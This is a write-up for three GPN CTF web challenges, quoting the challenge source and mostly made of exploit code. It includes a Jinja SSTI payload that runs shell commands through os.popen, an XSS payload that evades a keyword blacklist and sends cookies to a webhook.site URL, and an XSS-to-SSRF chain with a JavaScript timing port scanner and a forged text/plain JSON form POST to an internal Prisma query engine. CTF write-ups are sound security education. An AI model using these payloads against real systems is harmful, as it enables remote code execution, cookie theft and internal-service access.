[ Wanky mail ]
from flask import Flask, render_template_string, request, redirect, abort
from aiosmtpd.controller import Controller
from datetime import datetime
from base58 import b58decode, b58encode
import random
import string
import os
from datetime import datetime
import queue
mails = {}
active_addr = queue.Queue(1000)
def format_email(sender, rcpt, body, timestamp, subject):
return {"sender": sender, "rcpt": rcpt, 'body': body, 'subject': subject, "timestamp": timestamp}
def render_emails(address):
id = 0
render = """
<table>
<tr>
<th id="th-left">From</th>
<th>Subject</th>
<th id="th-right">Date</th>
</tr>
"""
overlays = ""
m = mails[address].copy()
for email in m:
render += f"""
<tr id="{id}">
<td>{email['sender']}</td>
<td>{email['subject']}</td>
<td>{email['timestamp']}</td>
</tr>
"""
overlays += f"""
<div id="overlay-{id}" class="overlay">
<div class="email-details">
<h1>{email['subject']} - from: {email['sender']} to {email['rcpt']}</h1>
<p>{email['body']}</p>
</div>
</div>
"""
id +=1
render += "</table>"
render += overlays
return render
def get_emails(id):
with open('templates/index.html') as f:
page = f.read()
return page.replace('{{$}}', render_emails(id))
def log_email(session, envelope):
print(f'{session.peer[0]} - - {repr(envelope.mail_from)}:{repr(envelope.rcpt_tos)}:{repr(envelope.content)}', flush=True)
def esc(s: str):
return "{% raw %}" + s + "{% endraw %}"
class Handler:
async def handle_RCPT(self, server, session, envelope, address, rcpt_options):
if not address.endswith(os.environ.get('HOSTNAME')):
return '550 not relaying to that domain'
envelope.rcpt_tos.append(address)
print(address, flush=True)
return '250 OK'
async def handle_DATA(self, server, session, envelope):
m = format_email(esc(envelope.mail_from), envelope.rcpt_tos[0], esc(envelope.content.decode()), datetime.now().strftime("%d-%m-%Y, %H:%M:%S"), "PLACEHOLDER")
log_email(session, envelope)
r = envelope.rcpt_tos[0]
if not mails.get(r):
if active_addr.full():
mails.pop(active_addr.get())
mails[r] = []
active_addr.put(r)
if len(mails[r]) > 10:
mails[r].pop(0)
mails[r].append(m)
return '250 OK'
c = Controller(Handler(), "0.0.0.0")
c.start()
app = Flask(__name__)
@app.route('/')
def index():
username = ''.join(random.choice(string.ascii_lowercase) for i in range(12))
address = f"{username}@{os.environ.get('HOSTNAME', 'example.com')}"
if not address in mails.keys():
if active_addr.full():
del mails[active_addr.get()]
mails[address] = []
active_addr.put(address)
id = b58encode(address).decode()
return redirect("/" + id)
@app.route('/<id>')
def mailbox(id):
address = b58decode(id).decode()
if not address in mails.keys():
abort(404)
return render_template_string(get_emails(address), address=address)
if __name__ == '__main__':
app.run()
# app.py
def esc(s: str):
return "{% raw %}" + s + "{% endraw %}"
class Handler:
async def handle_RCPT(self, server, session, envelope, address, rcpt_options):
if not address.endswith(os.environ.get('HOSTNAME')):
return '550 not relaying to that domain'
envelope.rcpt_tos.append(address)
print(address, flush=True)
return '250 OK'
async def handle_DATA(self, server, session, envelope):
m = format_email(esc(envelope.mail_from), envelope.rcpt_tos[0], esc(envelope.content.decode()), datetime.now().strftime("%d-%m-%Y, %H:%M:%S"), "PLACEHOLDER")
log_email(session, envelope)
r = envelope.rcpt_tos[0]
if not mails.get(r):
if active_addr.full():
mails.pop(active_addr.get())
mails[r] = []
active_addr.put(r)
if len(mails[r]) > 10:
mails[r].pop(0)
mails[r].append(m)
return '250 OK'
@app.route('/<id>')
def mailbox(id):
address = b58decode(id).decode()
if not address in mails.keys():
abort(404)
return render_template_string(get_emails(address), address=address)
The point of this chall iis above code. This service doesn't sanitize "address". The only protection to SSTI is "esc" function. We only need to escape the raw block, since the user's input will be entered as is. The way to escape "{% raw %}" block is just like this.
( If you use real email to send payload, you can't found SSTI is triggered. This is the reason why I spent so much time in this chall. Try to send payload by using python's smtp library )
{% endraw %} [ Code you want to input ] {% raw %}
But there is a problem. If we want to trigger SSTI attack, we must find out what classes exist in this service. However, we can't check it. So, let's use flask block.
{% for x in ().__class__.__base__.__subclasses__() %}{% if \'warning\' in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen(\'cat flag*.txt\').read()}}{%endif%}{% endfor %}
By organizing our code like this, we don't have to hunt down the classes we need. Okay. Let's send above payload to service.
• Exploit Code
from smtplib import SMTP
target = "zmltvsuqfpii@webmail-0.chals.kitctf.de"
payload = '{% for x in ().__class__.__base__.__subclasses__() %}{% if \'warning\' in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen(\'cat flag*.txt\').read()}}{%endif%}{% endfor %}'
with SMTP("webmail-0.chals.kitctf.de") as smtp:
smtp.sendmail("\"({%endraw%} "+payload+" {%raw%})\"@test.com", target,"-")
• Flag
[ cross-site-python ]
<!-- /template/code.html -->
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/style.css">
<link rel="stylesheet" href="/static/pyscript.css" />
<script defer src="/static/pyscript.js"></script>
<script defer src="/static/index.js"></script>
</head>
<body>
<div class="menubar">
<h1>Python Playground</h1>
<a href='#' id="new">New</a>
<a href='#' id="edit">Edit</a>
</div>
<div id="buttons">
</div>
<py-config>
[[interpreters]]
src = "/static/pyodide/pyodide.js"
name = "pyodide-0.23.0"
lang = "python"
[splashscreen]
enabled = true
terminal = false
</py-config>
<py-terminal"></py-terminal>
<py-script>
{{code}}
</py-script>
</body>
</html>
In code.html, There is no sanitization for "{{code}}".
@app.route('/<code_id>/exec')
def code_page(code_id):
if code_id not in projects.keys():
abort(404)
code = projects.get(code_id)
# Genius filter to prevent xss
blacklist = ["script", "img", "onerror", "alert"]
for word in blacklist:
if word in code:
# XSS attempt detected!
abort(403)
res = make_response(render_template("code.html", code=code))
return res
In '/<code_id>/exec' endpoint, we can find render_template function. We can find a SSTI vulnerability, because it doesn't sanitize "code" and then render template with it.
Next, we can see comment "Xss attempt detected!". We can also get a hint from here. We can bypass blacklist with capital letter, just like this. ("script" -> "Script").
Before trigger SSTI, let's check some things.
Check whether dict class exists.
Oh, there it is. We can find out classes that we will use in ssti payload like this way.
• Explot Code
but = dict.__base__.__subclasses__()[363]("buttons")
but.element.innerHTML= '<Img src="https://webhook.site/f202667e-9179-425d-80c1-fd62da5915d4?'+but.element.ownerDocument.cookie+'">'
• Flag
GPNCTF{4pp4r3ntly_pyth0n_1s_n0w_us3d_f0r_3v3ryth1ng_l2lIMU7mVOxawTvXBub}
[ Trusted shop ]
I couldn't solve this chall. So I brought other's writeup and summarize it in my word.
• Endpoint "/"
The Endpoint "/" end up like this. The goal is buying flag.
• Endpoint "/checkout/:product"
const prisma = new PrismaClient()
const app = polka({
onError(err: Error, req: polka.Request, res: ServerResponse, next: polka.Next) {
console.error(err)
res.end('Unknown error')
},
onNoMatch(req: polka.Request, res: ServerResponse) {
res.end('Page not found')
}
});
app.get('/checkout/:product', async (req, res) => {
const item = await prisma.item.findFirstOrThrow({
where: {id: parseInt(req.params.product)}
})
return res.end(
pages.get('checkout')!.replace(':title', item.title)
)
})
"Buy" button in index page linked to "/checkout/:product". On "GET" request, we get a small form asking for our email.
When we submit the form, we do a "POST" request to the same endpoint. There are some points in here.
const item = await prisma.item.findFirstOrThrow({
where: {id: parseInt(req.params.product)}
})
if (item.price !== 0) {
return res.end("Our payment processor went bankrupt and as a result we can't accept payments right now. Please check back later or have a look at our free offerings")
}
First, we can only purchase free item.
try {
browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--js-flags="--jitless"']
})
const page = await browser.newPage()
const u = new URL('http://127.0.0.1:8000/_internal/pdf')
u.search = new URLSearchParams({
id: item.id.toString(),
email: req.body.email as string,
title: item.title as string,
content: item.download as string
}).toString()
await page.goto(u.toString(), {waitUntil: 'networkidle0', timeout: 30000})
res.end(await page.pdf({format: 'A4', timeout: 1000}))
} catch (e) {
res.end(':(')
} finally {
if (browser) await browser.close()
rendererInUse = false
}
Then, the service translate purchase information to PDF and then redirect to "_internal/pdf" endpoint.
Second point is that the service opens PDF file by using puppeteer.
• Endpoint "_internal/pdf"
const id = req.query.id || '0'
const title = req.query.title || ''
const email = req.query.email || ''
const content = req.query.content || ''
if (typeof id !== 'string' || typeof title !== 'string' || typeof email !== 'string' || typeof content !== 'string') {
return res.end(':(')
}
const body = pages.get('confirmation')!
.replace(':title', title)
.replace(':email', email)
.replace(':content', content)
res.end(body)
It's substituting the request parameters into an html template with a simple string replacement. Third point is that because of this simple string replacement, we can include HTML tags so we can trigger XSS.
As we can use XSS vulnerability, we may have access to additional endpoints only accessible from inside the containers. To find out which endpoints are available, we depolyed the challenge locally.
docker exec -u root -it [container_name] /bin/bash
We opened a root shell with above command to install "iproute2" package ( apt install iproute2 ).
$ docker exec -it peaceful_shannon /bin/bash
pptruser@7023dbd72d08:/app$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 128 127.0.0.1:44189 0.0.0.0:* users:(("query-engine-de",pid=94,fd=10))
tcp LISTEN 0 511 *:8000 *:* users:(("node",pid=39,fd=21))
This way we get access to "ss" tool to print open ports. Next step is we have to figure out whether we can interact with it via HTTP.
• Analysing "query-engine-de"
We could find the source code of this query engine. We kenw it was part of the prisma framework. This file contained backend routes. We had a problem to figure out a problem in the source code, so decided to dump a request file.
To do so, we installed in the container and captured the traffic on the loopback device with below command.
tcpdump -i lo -w /tmp/traffic.pcapng
All we have to do is to trigger a call to "query-engine" by buying an item. We could then copy the pcap to our host machine with below code and open it with wireshark.
docker cp [container_name]:/tmp/traffic.pcapng ./traffic.pcapng
The result goes like this.
# Request
POST / HTTP/1.1
host: 127.0.0.1:45737
connection: keep-alive
Content-Type: application/json
traceparent: 00-10-10-00
content-length: 155
{"variables":{},"query":"query {\n findFirstItemOrThrow(where: {\n id: 1\n }) {\n id\n title\n description\n price\n download\n }\n}"}
# Response
HTTP/1.1 200 OK
content-type: application/json
x-elapsed: 11962
content-length: 185
date: Fri, 09 Jun 2023 22:23:12 GMT
{"data":{"findFirstItemOrThrow":{"id":1,"title":"Complete list of KITCTFCTF hints","description":"This document sure seems to be useful ","price":0,"download":"*<br>\n<br>\nList end"}}}
If we can change a paylaod of {"variables":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}" is enought to get flag.
• Extracting the flag
We have tried to update database to set the price of the flag item to 0, but it failed ( database printed out QueryError ). So we would have to find a way to read the cross origin response from the server. Then, we remembered that submitting an html form redirects the user to the resulting webpage by default. This isn't blocked by the same-origin policy because the response is only showned to user and not readable by the origin website. In our case, "puppeteer" simply prints any webpage that happens to be open, so it will just print response.
Unfortunately, there is one more problem. we would have to send a json request over html forms, which is not officially supported. One interesting observation is the server actually doesn't care about "Content-Type" header of request, it just checks the body contains valid json.
Since html forms always generate requests in the format "key1=value1&key2=value2", we would have to find a way to set the keys and values to form valid json.
{"variables":{},"=":{},"query":"..."}
This would be a valid json. Unfortunately, the body is still url-encoded by default, which the server doesn't expect. To prevent this, we send "enctype" attribute of the form "text/plain". The result is like htis.
<form name="myForm" id="myForm" action="http://127.0.0.1:44189/" method="POST" enctype="text/plain">
<input name='{"variables":{},"' value='":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}' />
</form>
<script>
window.onload = function(){
document.forms['myForm'].submit();
}
</script>
• Finding the correct port
the "query-engine-de" process listens on a random port in real challenge. So we need to figure out the port it is listening on. We use this blog post.
In the end we sent something like this to the server.
document.body.innerHTML = "Starting Port Scan...";
async function test() {
// how to use
for (var i = {{portstart}}; i < {{portend}}; i++) {
let [isOpen, m, sumOpen, sumClosed] = await portIsOpen('localhost', i, 10);
if (isOpen) {
document.body.innerHTML += `<p> Port ${i} open </p>`;
}
}
}
test();
Then we can read the open ports from the resulting PDF.
[ Exploit Code ]
- Send the port scanner to "/checkout/1"
- Read the pdf response and find all ports with the regex "Port (\d+) open"
- Throw our exploit against the found ports
- Print the text of the pdf and hope that flag is in there
#!/usr/bin/env python3
import requests
import re
from PyPDF2 import PdfReader
template = """
<script>
// Author: Nikolai Tschacher
// tested on Chrome v86 on Ubuntu 18.04
var portIsOpen = function(hostToScan, portToScan, N) {
return new Promise((resolve, reject) => {
var portIsOpen = 'unknown';
var timePortImage = function(port) {
return new Promise((resolve, reject) => {
var t0 = performance.now()
// a random appendix to the URL to prevent caching
var random = Math.random().toString().replace('0.', '').slice(0, 7)
var img = new Image;
img.onerror = function() {
var elapsed = (performance.now() - t0)
// close the socket before we return
resolve(parseFloat(elapsed.toFixed(3)))
}
img.src = "http://" + hostToScan + ":" + port + '/' + random + '.png'
})
}
const portClosed = 37857; // let's hope it's closed :D
(async () => {
var timingsOpen = [];
var timingsClosed = [];
for (var i = 0; i < N; i++) {
timingsOpen.push(await timePortImage(portToScan))
timingsClosed.push(await timePortImage(portClosed))
}
var sum = (arr) => arr.reduce((a, b) => a + b);
var sumOpen = sum(timingsOpen);
var sumClosed = sum(timingsClosed);
var test1 = sumOpen >= (sumClosed * 1.3);
var test2 = false;
var m = 0;
for (var i = 0; i <= N; i++) {
if (timingsOpen[i] > timingsClosed[i]) {
m++;
}
}
// 80% of timings of open port must be larger than closed ports
test2 = (m >= Math.floor(0.8 * N));
portIsOpen = test1 && test2;
resolve([portIsOpen, m, sumOpen, sumClosed]);
})();
});
}
document.body.innerHTML = "Starting Port Scan...";
async function test() {
// how to use
for (var i = {{portstart}}; i < {{portend}}; i++) {
let [isOpen, m, sumOpen, sumClosed] = await portIsOpen('localhost', i, 10);
if (isOpen) {
document.body.innerHTML += `<p> Port ${i} open </p>`;
}
}
}
test();
</script>
"""
exploit = """
<form name="myForm" id="myForm" action="http://127.0.0.1:{{port}}/" method="POST" enctype="text/plain">
<input name='{"variables":{},"' value='":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}' />
</form>
<script>
window.onload = function(){
document.forms['myForm'].submit();
}
</script>
"""
domain = "https://" + "25fcb16f03784ff73996658e7bb1655a-trusted-shop-4.chals.kitctf.de"
# domain = "http://localhost:8000"
for port in range(30000, 40000, 500):
r = requests.post(f"{domain}/checkout/1", data={"email": template.replace("{{portstart}}", str(port)).replace("{{portend}}", str(port + 500))})
with open("/tmp/foo.pdf", "wb") as f:
f.write(r.content)
reader = PdfReader('/tmp/foo.pdf')
# getting a specific page from the pdf file
page = reader.pages[0]
# extracting text from page
text = page.extract_text()
ports = re.findall('Port (\\d+) open', text)
for port in ports:
r = requests.post(f"{domain}/checkout/1", data={"email": exploit.replace("{{port}}", str(port))})
with open("/tmp/foo.pdf", "wb") as f:
f.write(r.content)
reader = PdfReader('/tmp/foo.pdf')
# getting a specific page from the pdf file
page = reader.pages[0]
# extracting text from page
text = page.extract_text()
print("Port", port, text)
Point of this chall
- HTML 코드가 들어갈 수 있는 부분은 XSS 트리거가 가능하니 잘 확인하기. ( Response가 파일 형태로 변환되더라도 XSS 가능 )